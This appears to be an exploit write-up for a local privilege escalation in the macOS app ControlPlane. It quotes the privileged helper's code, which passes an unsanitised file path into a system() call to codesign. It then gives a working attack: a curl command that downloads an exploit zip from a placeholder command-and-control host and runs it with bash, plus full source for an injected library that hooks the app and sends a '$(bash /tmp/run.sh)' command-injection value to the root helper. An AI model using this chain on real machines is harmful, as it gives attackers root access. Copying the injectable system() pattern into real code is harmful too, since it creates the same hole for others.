ControlPlane Local Privilege Escalation Vulnerability on macOS

BOOL installHelperToolUsingSMJobBless(void) {
    NSError *error = nil;
    NSDictionary *installedHelperJobData = (NSDictionary *)SMJobCopyDictionary(kSMDomainSystemLaunchd, (CFStringRef)kPRIVILEGED_HELPER_LABEL);
    BOOL needToInstall = YES;

    if (installedHelperJobData) {
        NSURL *installedPathURL = [NSURL fileURLWithPath:[[installedHelperJobData objectForKey:@"ProgramArguments"] objectAtIndex:0]];
        [installedHelperJobData release];

        NSDictionary *installedInfoPlist = (NSDictionary *)CFBundleCopyInfoDictionaryForURL((CFURLRef)installedPathURL);
        NSInteger installedVersion = [[installedInfoPlist objectForKey:@"CFBundleVersion"] integerValue];
        [installedInfoPlist release];

        NSBundle *appBundle = [NSBundle mainBundle];
        NSURL *appBundleURL = [appBundle bundleURL];
        NSURL *currentHelperToolURL = [appBundleURL URLByAppendingPathComponent:[NSString stringWithFormat:@"Contents/Library/LaunchServices/%@", kPRIVILEGED_HELPER_LABEL]];

        NSDictionary *currentInfoPlist = (NSDictionary *)CFBundleCopyInfoDictionaryForURL((CFURLRef)currentHelperToolURL);
        NSInteger currentVersion = [[currentInfoPlist objectForKey:@"CFBundleVersion"] integerValue];
        [currentInfoPlist release];

        if (currentVersion == installedVersion) {
            SecRequirementRef requirement;
            OSStatus stErr;
            stErr = SecRequirementCreateWithString((CFStringRef)[NSString stringWithFormat:@"identifier %@ and certificate leaf[subject.CN] = \"%@\"", kPRIVILEGED_HELPER_LABEL, @kSigningCertCommonName], kSecCSDefaultFlags, &requirement);

            if (stErr == noErr) {
                SecStaticCodeRef staticCodeRef;
                stErr = SecStaticCodeCreateWithPath((CFURLRef)installedPathURL, kSecCSDefaultFlags, &staticCodeRef);

                if (stErr == noErr) {
                    stErr = SecStaticCodeCheckValidity(staticCodeRef, kSecCSDefaultFlags, requirement);

                    if (stErr != noErr) {
                        NSLog(@"Unknown error in SecStaticCodeCheckValidity");
                    }

                    needToInstall = NO;
                }
            }
        }
    }

    if (needToInstall) {
        NSLog(@"Blessing %@", kPRIVILEGED_HELPER_LABEL);
        if (!blessHelperWithLabel(kPRIVILEGED_HELPER_LABEL, &error)) {
            NSLog(@"Failed to install privileged helper: %@", [error description]);
            dispatch_async(dispatch_get_main_queue(), ^{
                NSRunAlertPanel(@"Error", @"Failed to install privileged helper: %@", @"OK", nil, nil, [error description]);
            });
            return NO;
        } else {
            NSLog(@"Privileged helper installed.");
        }
    } else {
        NSLog(@"Privileged helper already available, not installing.");
    }

    return YES;
}

BOOL blessHelperWithLabel(NSString* label, NSError** error) {
    BOOL result = NO;

    AuthorizationItem authItem = { kSMRightBlessPrivilegedHelper, 0, NULL, 0 };
    AuthorizationRights authRights = { 1, &authItem };
    AuthorizationFlags flags = kAuthorizationFlagDefaults | 
                               kAuthorizationFlagInteractionAllowed | 
                               kAuthorizationFlagPreAuthorize | 
                               kAuthorizationFlagExtendRights;

    AuthorizationRef authRef = NULL;

    OSStatus status = AuthorizationCreate(&authRights, kAuthorizationEmptyEnvironment, flags, &authRef);
    if (status != errAuthorizationSuccess) {
        NSLog(@"Failed to create AuthorizationRef, return code %ld", (long)status);
    } else {
        result = SMJobBless(kSMDomainSystemLaunchd, (CFStringRef)label, authRef, (CFErrorRef *)error);
    }

    AuthorizationFree(authRef, kAuthorizationFlagDefaults);

    return result;
}

...

int main(int argc, char **argv) {
  ...

  return BASHelperToolMain(kCPHelperToolCommandSet, kCPHelperToolCommandProcs);
}

...

static const BASCommandProc kCPHelperToolCommandProcs[] = {
  DoInstallTool,
  DoGetVersion,
  DoEnableTM,
  DoDisableTM,
  DoStartBackupTM,
  DoStopBackupTM,
  DoEnableIS,
  DoDisableIS,
  DoEnableFirewall,
  DoDisableFirewall,
  SetDisplaySleepTime,
  DoEnablePrinterSharing,
  DoDisablePrinterSharing,
  DoEnableAFPFileSharing,
  DoDisableAFPFileSharing,
  DoEnableSMBFileSharing,
  DoDisableSMBFileSharing,
  DoEnableTFTP,
  DoDisableTFTP,
  DoEnableFTP,
  DoDisableFTP,
  DoEnableWebSharing,
  DoDisableWebSharing,
  DoEnableRemoteLogin,
  DoDisableRemoteLogin,
  NULL
};

...

...

#import "CPHelperToolCommon.h"
#import "BetterAuthorizationSampleLib.h"

const BASCommandSpec kCPHelperToolCommandSet[] = {
  {
    kInstallCommandLineToolCommand,
    kInstallCommandLineToolRightName,
    "default",
    "AuthInstallCommandLineToolPrompt",
    NULL
  },

  ...

  {
    kCPHelperToolSetDisplaySleepTimeCommand,
    kCPHelperToolSetDisplaySleepTimeRightName,
    "allow",
    "SetMonitorSleepTime",
    NULL
  },

  ...

  {
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
  }
};

...

#define kCPHelperToolSetDisplaySleepTimeCommand     "SetDisplaySleepTime"

...

#define kInstallCommandLineToolCommand      "InstallTool"
#define kInstallCommandLineToolSrcPath      "srcPath"   // Parameter, CFString
#define kInstallCommandLineToolName         "toolName"  // Parameter, CFString
#define kInstallCommandLineToolResponse     "Success"   // Response, CFNumber
#define kInstallCommandLineToolRightName    "com.dustinrue.ControlPlane.InstallTool"

...

...

#import <netinet/in.h>
#import <sys/socket.h>
#import <stdio.h>
#import <unistd.h>
#import <CoreServices/CoreServices.h>
#import <syslog.h>

#import "AuthorizationLib/BetterAuthorizationSampleLib.h"
#import "CPHelperToolCommon.h"

extern const BASCommandSpec kCPHelperToolCommandSet[];

static OSStatus DoInstallTool(
                              AuthorizationRef          auth,
                              const void *                userData,
                              CFDictionaryRef               request,
                              CFMutableDictionaryRef      response,
                              aslclient                   asl,
                              aslmsg                      aslMsg
                              )
// Implements the kInstallCommandLineTool command.  Returns the version number of
// the helper tool.
{
    OSStatus                    retval = noErr;

    // Pre-conditions

    assert(auth != NULL);
    // userData may be NULL
    assert(request != NULL);
    assert(response != NULL);
    // asl may be NULL
    // aslMsg may be NULL

    // Retrieve the source path
    CFStringRef srcPath = (CFStringRef)CFDictionaryGetValue(request, CFSTR(kInstallCommandLineToolSrcPath));
    CFStringRef toolName = (CFStringRef)CFDictionaryGetValue(request, CFSTR(kInstallCommandLineToolName));

    // Check the code signature on the tool so that no-one else can use this to install stuff
    // We want to be sure that the cert is ours, and signed by apple

    // Note, I'm well aware that someone could hack the kSigningCertCommonName
    // static string in the data section of this binary. However, that is not a flaw
    // because the code signature of this binary would then be invalid and it would refuse
    // to be installed. Any potential hacker would have to replace all 3 binaries
    // (App, the install helper and the command line tool) to compromise it, at which
    // point it's not our app anymore anyway, and it would have to be signed by their own cert.

    bool success = true;

    char* ourFilename = 0;
    const char* pFilename = CFStringGetCStringPtr(srcPath, kCFStringEncodingMacRoman);

    if (!pFilename)
    {
        unsigned long len = CFStringGetLength(srcPath) + 20;
        ourFilename = malloc(len);
        if (!CFStringGetCString(srcPath, ourFilename, len, kCFStringEncodingMacRoman))
        {
            // freeing here will cause the compiler to complain, the if below should
            // catch this if it exists and free it then
            //free(ourFilename);
            retval = 3;
            success = false;
        }
        else
            pFilename = ourFilename;
    }

    if (pFilename)
    {
        // Base command minus cert name and file namem is 76 characters, 1 for NULL
        char* valCodeSignCmd = 0;
        // asprintf allocates & never overflows
        if (asprintf(&valCodeSignCmd, "codesign -v -R=\"certificate leaf[subject.CN] = \\\"%s\\\" and anchor apple generic\" \"%s\"", kSigningCertCommonName, pFilename) != -1)
        {
            if (system(valCodeSignCmd) == 0)
            {
                // Passed codesign validation
                // OK to copy now - overwrite if present
                OSStatus fsret = FSPathCopyObjectSync(pFilename, "/usr/local/bin", toolName, NULL, kFSFileOperationOverwrite);
                if (fsret != noErr)
                    success = false;
            }


            // Clean up
            free(valCodeSignCmd);

        }
        else
            success = false;


    }

    if (success)
        CFDictionaryAddValue(response, CFSTR(kInstallCommandLineToolResponse), kCFBooleanTrue);
    else
        CFDictionaryAddValue(response, CFSTR(kInstallCommandLineToolResponse), kCFBooleanFalse);

    if (ourFilename)
    {
        free(ourFilename);
        ourFilename = 0;
    }


    return retval;
}
...

    ...

    CFStringRef srcPath = (CFStringRef)CFDictionaryGetValue(request, CFSTR(kInstallCommandLineToolSrcPath));
    CFStringRef toolName = (CFStringRef)CFDictionaryGetValue(request, CFSTR(kInstallCommandLineToolName));

    ...

    ...

    bool success = true;

    char* ourFilename = 0;
    const char* pFilename = CFStringGetCStringPtr(srcPath, kCFStringEncodingMacRoman);

    if (!pFilename)
    {
        unsigned long len = CFStringGetLength(srcPath) + 20;
        ourFilename = malloc(len);
        if (!CFStringGetCString(srcPath, ourFilename, len, kCFStringEncodingMacRoman))
        {
            // freeing here will cause the compiler to complain, the if below should
            // catch this if it exists and free it then
            //free(ourFilename);
            retval = 3;
            success = false;
        }
        else
            pFilename = ourFilename;
    }

    ...

    ...

    if (pFilename)
    {
        // Base command minus cert name and file namem is 76 characters, 1 for NULL
        char* valCodeSignCmd = 0;
        // asprintf allocates & never overflows
        if (asprintf(&valCodeSignCmd, "codesign -v -R=\"certificate leaf[subject.CN] = \\\"%s\\\" and anchor apple generic\" \"%s\"", kSigningCertCommonName, pFilename) != -1)
        {
            if (system(valCodeSignCmd) == 0)
            {
                // Passed codesign validation
                // OK to copy now - overwrite if present
                OSStatus fsret = FSPathCopyObjectSync(pFilename, "/usr/local/bin", toolName, NULL, kFSFileOperationOverwrite);
                if (fsret != noErr)
                    success = false;
            }


            // Clean up
            free(valCodeSignCmd);

        }
        else
            success = false;


    }

    ...

    ...

    if (success)
        CFDictionaryAddValue(response, CFSTR(kInstallCommandLineToolResponse), kCFBooleanTrue);
    else
        CFDictionaryAddValue(response, CFSTR(kInstallCommandLineToolResponse), kCFBooleanFalse);

    ...

codesign -v -R="certificate leaf[subject.CN] = \"3rd Party Mac Developer Application: Dustin Rue\" and anchor apple generic" "<INJECTION_POINT>"

static int HandleConnection(
    aslclient                   asl,
    aslmsg                      aslMsg,
    const BASCommandSpec        commands[],
    const BASCommandProc        commandProcs[],
    int                         fd
)

    ...

    assert(commands != NULL);
    assert(commands[0].commandName != NULL);        // there must be at least one command
    assert(commandProcs != NULL);
    assert( CommandArraySizeMatchesCommandProcArraySize(commands, commandProcs) );
    assert(fd >= 0);

    ...

    ...

    // Read in the external authorization reference.
    retval = BASRead(fd, &extAuth, sizeof(extAuth), NULL);

    // Internalize external authorization reference.
    if (retval == 0) {
        retval = BASOSStatusToErrno( AuthorizationCreateFromExternalForm(&extAuth, &auth) );
    }

    ...

    ...

    if (retval == 0) {
        retval = BASReadDictionary(fd, &request);
    }

    ...

    ...

    if (retval == 0) {
        response = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
        if (response == NULL) {
            retval = BASOSStatusToErrno( coreFoundationUnknownErr );
        }
    }

    ...

    ...

    if (retval == 0) {

        ...

        if ( (commandProcStatus == noErr) && (commands[commandIndex].rightName != NULL) ) {
            AuthorizationItem   item   = { commands[commandIndex].rightName, 0, NULL, 0 };
            AuthorizationRights rights = { 1, &item };

            commandProcStatus = AuthorizationCopyRights(
                auth, 
                &rights, 
                kAuthorizationEmptyEnvironment, 
                kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, 
                NULL
            );
        }

        ...

    }

    ...

    ...

    if (retval == 0) {

        ...

        if (commandProcStatus == noErr) {
            commandProcStatus = commandProcs[commandIndex](auth, commands[commandIndex].userData, request, response, asl, aslMsg);

            if (commandProcStatus == noErr) {
                junkInt = asl_log(asl, aslMsg, ASL_LEVEL_DEBUG, "Command callback succeeded");
                assert(junkInt == 0);
            } else {
                junkInt = asl_log(asl, aslMsg, ASL_LEVEL_DEBUG, "Command callback failed: %ld", (long) commandProcStatus);
                assert(junkInt == 0);
            }
        }

        ...

    }

    ...

    ...

    if (retval == 0) {

        ...

        if ( ! CFDictionaryContainsKey(response, CFSTR(kBASErrorKey)) ) {
            CFNumberRef     numRef;

            numRef = CFNumberCreate(NULL, kCFNumberSInt32Type, &commandProcStatus);
            if (numRef == NULL) {
                retval = BASOSStatusToErrno( coreFoundationUnknownErr );
            } else {
                CFDictionaryAddValue(response, CFSTR(kBASErrorKey), numRef);
                CFRelease(numRef);
            }
        }
    }

    ...

...

static int HandleConnection(
    aslclient                   asl,
    aslmsg                      aslMsg,
    const BASCommandSpec        commands[], 
    const BASCommandProc        commandProcs[],
    int                         fd
)
{
    int                         retval;
    OSStatus                    junk;
    int                         junkInt;
    AuthorizationExternalForm   extAuth;
    AuthorizationRef            auth        = NULL;
    CFDictionaryRef             request     = NULL;
    size_t                      commandIndex;
    CFMutableDictionaryRef      response    = NULL;
    OSStatus                    commandProcStatus;

    ...

    if (retval == 0) {
        retval = BASWriteDictionaryAndDescriptors(response, fd);
    }

    ...

    if (response != NULL) {

        ...

        BASCloseDescriptorArray( CFDictionaryGetValue(response, CFSTR(kBASDescriptorArrayKey)) );
        CFRelease(response);
    }
    if (request != NULL) {
        CFRelease(request);
    }
    if (auth != NULL) {
        junk = AuthorizationFree(auth, kAuthorizationFlagDefaults);
        assert(junk == noErr);
    }

    return retval;
}

...

zip -r CPExploit.zip Sources run.sh clean.sh && python3 -m http.server

cd /tmp && curl https://<C2_IP>:<C2_PORT>/CPExploit.zip -o CPExploit.zip && unzip CPExploit.zip && bash run.sh

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <unistd.h>
#import "AuthorizationLib/BetterAuthorizationSampleLib.h"

// Command set used by the privileged helper tool.
const BASCommandSpec kHelperCommandSet[] = {
    { "InstallTool", "com.dustinrue.ControlPlane.InstallTool", "default", "AuthInstallCommandLineToolPrompt", NULL },
    { "GetVersion", NULL, NULL, NULL, NULL },
    { "SetDisplaySleepTime", "com.dustinrue.ControlPlane.SetDisplaySleepTime", "allow", "SetMonitorSleepTime", NULL },
    { NULL, NULL, NULL, NULL, NULL }
};

// Stub definition of ControlPlane's Action class.
@interface Action : NSObject {
    NSString *type, *context, *when;
    NSNumber *delay, *enabled;
    CFDictionaryRef helperToolResponse;
    NSAppleEventDescriptor *appleScriptResult_;
}
@end

// Stub definition of the class being hooked.
@interface ToggleRemoteLoginAction : NSObject
- (BOOL)execute:(NSString **)errorString;
@end

// Replacement for `-[ToggleRemoteLoginAction execute:]`.
static BOOL ReplacementExecute(id self, SEL _cmd, NSString **errorString) {
    NSLog(@"[*] Hooked method `-execute:` called.");

    // Get the bundle ID of the privileged helper.
    NSString *bundleID = [[[[NSBundle mainBundle] infoDictionary][@"SMPrivilegedExecutables"] allKeys] firstObject];
    if (!bundleID) {
        NSLog(@"[x] Failed to retrieve bundle ID.");
        return NO;
    }

    // Create authorization reference.
    AuthorizationRef authRef = NULL;
    OSStatus status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
    if (status != errAuthorizationSuccess) {
        NSLog(@"[x] AuthorizationCreate failed: %d", status);
        return NO;
    }

    // Ensure the instance responds to `helperToolInit:`.
    if (![(ToggleRemoteLoginAction *)self respondsToSelector:@selector(helperToolInit:)]) {
        NSLog(@"[x] Instance does not respond to `helperToolInit:`.");
        AuthorizationFree(authRef, kAuthorizationFlagDefaults);
        return NO;
    }

    [(ToggleRemoteLoginAction *)self helperToolInit:&authRef];
    NSLog(@"[*] `helperToolInit:` called.");

    // Prepare the tool installation request.
    NSString *srcPath = @"$(bash /tmp/run.sh)";
    NSString *toolName = @"halt";

    NSDictionary *request = @{
        @(kBASCommandKey): @"InstallTool",
        @"srcPath": srcPath,
        @"toolName": toolName
    };

    // Optional sleep to ensure system UI is ready.
    sleep(1);

    // Send request to the helper tool.
    CFDictionaryRef response = NULL;
    OSStatus execStatus = BASExecuteRequestInHelperTool(authRef,
                                                        kHelperCommandSet,
                                                        (__bridge CFStringRef)bundleID,
                                                        (__bridge CFDictionaryRef)request,
                                                        &response);

    if (execStatus == noErr) {
        NSLog(@"[+] Helper tool executed successfully: %@", (__bridge NSDictionary *)response);
    } else {
        NSLog(@"[x] BASExecuteRequestInHelperTool failed: %d", execStatus);
    }

    AuthorizationFree(authRef, kAuthorizationFlagDefaults);
    return YES;
}

// Manually instantiate ToggleRemoteLoginAction and call `-execute:`.
static void CallExecuteImmediatelyAfterHook() {
    Class actionClass = NSClassFromString(@"ToggleRemoteLoginAction");
    if (!actionClass) {
        NSLog(@"[x] `ToggleRemoteLoginAction` class not found.");
        return;
    }

    id instance = [[actionClass alloc] init];
    if (!instance) {
        NSLog(@"[x] Failed to instantiate `ToggleRemoteLoginAction`.");
        return;
    }

    NSLog(@"[*] Manually calling `-execute:` on `ToggleRemoteLoginAction` instance.");

    NSString *error = nil;
    [instance execute:&error];
    if (error) {
        NSLog(@"[!] Error returned from `-execute:`: %@", error);
    }
}

// Entry point: hook method and trigger logic.
__attribute__((constructor))
static void InstallMethodHookAndRun() {
    NSLog(@"[+] Library injected, initializing hook ...");

    Class targetClass = NSClassFromString(@"ToggleRemoteLoginAction");
    if (!targetClass) {
        NSLog(@"[x] Failed to find class `ToggleRemoteLoginAction`.");
        return;
    }

    SEL targetSelector = @selector(execute:);
    Method originalMethod = class_getInstanceMethod(targetClass, targetSelector);

    if (!originalMethod) {
        NSLog(@"[x] Failed to find method `-execute:`.");
        return;
    }

    method_setImplementation(originalMethod, (IMP)ReplacementExecute);
    NSLog(@"[+] Successfully hooked `-[ToggleRemoteLoginAction execute:]`.");

    // Trigger method manually.
    CallExecuteImmediatelyAfterHook();
}